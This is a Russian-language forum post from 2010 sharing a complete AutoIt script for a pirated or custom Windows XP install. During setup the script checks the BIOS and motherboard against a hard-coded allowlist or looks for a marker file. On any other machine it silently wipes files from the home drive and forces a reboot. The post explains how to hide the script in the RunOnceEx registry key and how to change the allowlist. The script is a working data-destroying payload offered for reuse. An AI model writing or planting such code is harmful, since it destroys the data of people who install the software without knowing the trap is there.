nod201
Junior Member | Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору Скрипт: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ #NoTrayIcon #include <MD5.au3> ;-------------------------------------------------------------------------------------------------------------------------------------- $sTAG = "Windows XP\725345543-500" $sMD5 = "0x853f3f8898a16c4a591ad290a5df5ea2" $sDRV = _DriveGetByTag($sTAG) ;-------------------------------------------------------------------------------------------------------------------------------------- Opt("ExpandEnvStrings", 1) Global Const $WbemFlagReturnImmediately = 0x10 Global Const $WbemFlagForwardOnly = 0x20 Global Const $WmiRestartForce = 4 Global $strPassword = "SET YOUR PASSWORD HERE" Global $arrayAllowedHosts[14] = [ _ "20090116000000.000000+000ga-ma770-ds3", _ "20060222000000.000000+000virtual machine", _ "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _ "20020315000000.000000+000sis-645", _ "20010427000000.000000+0008363-686", _ "20060925000000.000000+000m2n-e", _ "20060918000000.000000+000m61pm-s2", _ "20080819000000.000000+000m3a78", _ "20080123000000.000000+000m52l-s3", _ "20080423000000.000000+000a8r-mvp", _ "20060407000000.000000+000a8n-e", _ "20010402000000.000000+000k7s5a", _ "20080111000000.000000+00030c0", _ "20051103000000.000000+000k8nf4g-sata2" ] ;-------------------------------------------------------------------------------------------------------------------------------------- ; Формирование списка системных каталогов Dim $arrExcl[9]=[8, _ @WindowsDir, _ @SystemDir, _ @WindowsDir &"\Resources", _ @ProgramFilesDir, _ RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _ RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _ $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _ $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ] _RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl) _RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl) _RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True) ; Замена подстановок на реальные пути $ExpandEnvStrings = Opt("ExpandEnvStrings",1) For $i=1 To $arrExcl[0] $arrExcl[$i] = $arrExcl[$i] Next Opt("ExpandEnvStrings", $ExpandEnvStrings) ;-------------------------------------------------------------------------------------------------------------------------------------- If _PlatformArrayTest($arrayAllowedHosts) or _FileMD5Test($sDRV &"\"& $sTAG, $sMD5) Then $iRes = RunWait("%SystemDrive%\PKUNZIP -e -d -s"& $strPassword &" %SystemDrive%\Protect.zip %SystemDrive%\", "%SystemDrive%\", @SW_HIDE) Else _DirRemoveAll(@HomeDrive, $arrExcl) Shutdown(22) EndIf FileDelete("%SystemDrive%\Protect.zip") FileDelete("%SystemDrive%\PKUNZIP.EXE") FileDelete("%SystemDrive%\PROTECTT.CMD") ;-------------------------------------------------------------------------------------------------------------------------------------- ; Поиск буквы диска по маркерному файлу ;-------------------------------------------------------------------------------------------------------------------------------------- Func _DriveGetByTag($sTag, $sType = "ALL") Local $sDrive = "", $aDrives = DriveGetDrive($sType) For $i=1 To $aDrives[0] If DriveStatus($aDrives[$i]) = "READY" Then If FileExists($aDrives[$i] &"\"& $sTag) Then Return $aDrives[$i] EndIf Next Return SetError(1,0,"") EndFunc ; ==> _DriveGetByTag ;-------------------------------------------------------------------------------------------------------------------------------------- ; Проверка MD5-хеша файла ;-------------------------------------------------------------------------------------------------------------------------------------- Func _FileMD5Test($sPath, $sMD5) Local $MD5CTX, $Hash, $BufSize = 32768 Local $hFile = FileOpen($sPath, 16) If $hFile = -1 Then Return SetError(1, 0, 0) $MD5CTX = _MD5Init() For $i=1 To Ceiling(FileGetSize($sPath) / $BufSize) _MD5Input($MD5CTX, FileRead($hFile, $BufSize)) Next $Hash = _MD5Result($MD5CTX) ConsoleWrite($Hash &@CRLF) FileClose($sPath) Return $Hash=$sMD5 EndFunc ; ==> _FileMD5Test ;-------------------------------------------------------------------------------------------------------------------------------------- Func _PlatformArrayTest(ByRef $arrayAllowedHosts) Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2") Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False For $objBIOS In $colBIOS For $objBaseBoard In $colBaseBoard For $i=0 To UBound($arrayAllowedHosts)-1 $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3) If $arrayAllowedHosts[$i]=$strComputerHost Then Return True Next Next Next Return False EndFunc ;-------------------------------------------------------------------------------------------------------------------------------------- Func _DirRemoveAlt($sDIR) Local $hSearch, $sFile, $sPath $sDIR = StringRegExpReplace($sDIR, "\\+$", "") If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False) $hSearch = FileFindFirstFile($sDIR & "\*") If $hSearch = -1 Then Return SetError(2, 0, False) While 1 $sFile = FileFindNextFile($hSearch) If @error Then ExitLoop $sPath = $sDIR & "\" & $sFile If StringInStr(FileGetAttrib($sPath), "D") Then DirRemove($sPath,1) Else FileSetAttrib($sPath, "-RSH") FileDelete($sPath) EndIf WEnd FileClose($hSearch) Return SetError(0, 0, True) EndFunc ;-------------------------------------------------------------------------------------------------------------------------------------- ; Сохранение значений параметров ключа реестра в массив (рекурсивно) ;-------------------------------------------------------------------------------------------------------------------------------------- Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False) Local $var, $key For $i=1 To 10000 $var = RegEnumVal($sKey, $i) If @error Then ExitLoop If $sValName=="" Or $sValName=$var Then $aVals[0]+=1 ReDim $aVals[$aVals[0]+1] $aVals[$aVals[0]]=RegRead($sKey, $var) EndIf Next If $iRecv Then For $j=1 To 10000 $key = RegEnumKey($sKey, $j) If @error Then ExitLoop _RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True) Next EndIf EndFunc ; ==> _RegEnumValToArray ;-------------------------------------------------------------------------------------------------------------------------------------- ; Удаление каталога с подкаталогами (рекурсивно) ;-------------------------------------------------------------------------------------------------------------------------------------- Func _DirRemoveAll($sDIR, ByRef $aExcl) Local $hSearch, $sFile, $sPath, $iRet, $i $sDIR = StringRegExpReplace($sDIR, "\\+$", "") If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False) $hSearch = FileFindFirstFile($sDIR & "\*") If $hSearch = -1 Then Return SetError(2, 0, False) While 1 $sFile = FileFindNextFile($hSearch) If @error Then ExitLoop $sPath = $sDIR & "\" & $sFile If StringInStr(FileGetAttrib($sPath), "D") Then For $i=1 To $aExcl[0] If $sPath=$aExcl[$i] Then ExitLoop Next ConsoleWrite($sPath &@CRLF) If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl) Else FileSetAttrib($sPath, "-RSH") FileDelete($sPath) EndIf WEnd FileClose($hSearch) Return SetError(0, 0, True) EndFunc ; ==> _DirRemoveAll ;-------------------------------------------------------------------------------------------------------------------------------------- \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Суть: Данный скрипт проверяет ID биос по массиву биосов записаных раннее в сам скрипт. Если ID биос совпадает с тем что есть в скрипте то скрипт просто завершает свою работу и все. Если не совпадает то происходит жесткое удаление файлов с диска С и перезагрузка. Данный скрипт необходимо кинуть в ветку HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx под первым ключом желательно. Как ты енто сделаешь решай сам, в учебнике в принципе все есть. Еще. Скрипт ищет файл на всех дисках, в том числе и флешках, определенный файл по названию и md5 сумме. Если находит то даже если ID биос не совпадает то установка продолжается. Сделал чтобы не мучаться если сам кому ставлю свою винду. Просто воткнул флешку в комп и винда встанет без проблем. Подробности: В скрипте: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Global $arrayAllowedHosts[14] = [ _ "20090116000000.000000+000ga-ma770-ds3", _ "20060222000000.000000+000virtual machine", _ "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _ "20020315000000.000000+000sis-645", _ "20010427000000.000000+0008363-686", _ "20060925000000.000000+000m2n-e", _ "20060918000000.000000+000m61pm-s2", _ "20080819000000.000000+000m3a78", _ "20080123000000.000000+000m52l-s3", _ "20080423000000.000000+000a8r-mvp", _ "20060407000000.000000+000a8n-e", _ "20010402000000.000000+000k7s5a", _ "20080111000000.000000+00030c0", _ "20051103000000.000000+000k8nf4g-sata2" ] \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Массив ID биос. Ставиш свои и не забудь поменять количество (14) \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ $sTAG = "Windows XP\725345543-500" - путь и имя файла $sMD5 = "0x853f3f8898a16c4a591ad290a5df5ea2" - md5 сумма файла \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ | Всего записей: 139 | Зарегистр. 02-01-2006 | Отправлено: 07:41 15-03-2010 | Исправлено: nod201, 08:08 15-03-2010 |
|